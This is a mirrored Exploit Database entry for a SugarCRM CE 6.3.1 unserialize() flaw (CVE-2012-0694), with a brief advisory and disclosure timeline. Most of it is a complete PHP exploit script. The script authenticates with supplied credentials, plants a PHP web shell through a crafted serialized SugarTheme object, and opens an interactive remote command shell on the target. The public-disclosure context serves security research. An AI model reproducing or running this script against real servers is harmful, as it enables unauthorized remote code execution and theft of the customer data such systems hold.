SugarCRM CE 6.3.1 – ‘Unserialize()’ PHP Code Execution

Exploit Database
112 阅读

作者： EgiX

日期： 2012-06-23
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/19381/

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<?php

-------------------------------------------------------

SugarCRM CE <= 6.3.1 "unserialize()" PHP Code Execution

-------------------------------------------------------

author...........: Egidio Romano aka EgiX

mail.............: n0b0d13s[at]gmail[dot]com

software link....: http://www.sugarcrm.com/

+-------------------------------------------------------------------------+

| This proof of concept code was written for educational purpose only.|

| Use it at your own risk. Author will be not responsible for any damage. |

+-------------------------------------------------------------------------+

[-] Vulnerable code in different locations:

include/export_utils.php:377:$searchForm->populateFromArray(unserialize(base64_decode($query)));

include/generic/Save2.php:197:$current_query_by_page_array = unserialize(base64_decode($current_query_by_page));

include/MVC/Controller/SugarController.php:593:$_REQUEST = unserialize(base64_decode($temp_req['current_query_by_page']));

include/MVC/View/views/view.list.php:82:$current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));

modules/Import/Importer.php:536:$firstrow= unserialize(base64_decode($_REQUEST['firstrow']));

modules/ProjectTask/views/view.list.php:95:$current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));

The vulnerabilityiscauseddue toall these scripts using "unserialize()" with usercontrolled input.

This can be exploited to e.g. execute arbitrary PHP code via the"__destruct()" method of the "SugarTheme"

class, passing anad-hocserialized object through the $_REQUEST['current_query_by_page'] input variable.

[-] Disclosure timeline:

[31/10/2011] - Vulnerability discovered

[05/11/2011] - Vendor notified to secure(at)sugarcrm.com

[25/11/2011] - Vendor notified to http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/

[07/12/2011] - Vendor fix the issue on his own within 6.4.0 RC1 release

[10/01/2012] - CVE number requested

[12/01/2012] - Assigned CVE-2012-0694

[06/02/2012] - Issue addressed within 6.4.0 version

[23/06/2012] - Public disclosure

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);

return stream_get_contents($sock);

}

print "\n+------------------------------------------------------------+";

print "\n| SugarCRM CE <= 6.3.1 Remote Code Execution Exploit by EgiX |";

print "\n+------------------------------------------------------------+\n";

if ($argc < 5)

{

print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";

print "\nExample....: php $argv[0] localhost / sarah sarah";

print "\nExample....: php $argv[0] localhost /sugarcrm/ jim jim\n";

die();

}

list($host, $path) = array($argv[1], $argv[2]);

$payload = "module=Users&action=Authenticate&user_name={$argv[3]}&user_password={$argv[4]}";

$packet= "POST {$path}index.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: PHPSESSID=1\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

$login = http_send($host, $packet);

if (preg_match("/action=Login/", $login)) die("\n[-] Login failed!\n");

if (!preg_match("/Set-Cookie: (.*) path/", $login, $sid)) die("\n[-] Session ID not found!\n");

class SugarTheme

{

protected $dirName = '../..';

private $_jsCache = '<?php error_reporting(0);passthru(base64_decode($_SERVER[HTTP_CMD])); ?>';

}

$payload = "module=Contacts&Contacts2_CONTACT_offset=1&current_query_by_page=".base64_encode(serialize(new SugarTheme));

$packet= "POST {$path}index.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: {$sid[1]}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet= "GET {$path}pathCache.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

while(1)

{

print "\nsugar-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

$response = http_send($host, sprintf($packet, base64_encode($cmd)));

preg_match('/s:72:"(.*)";s:8/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}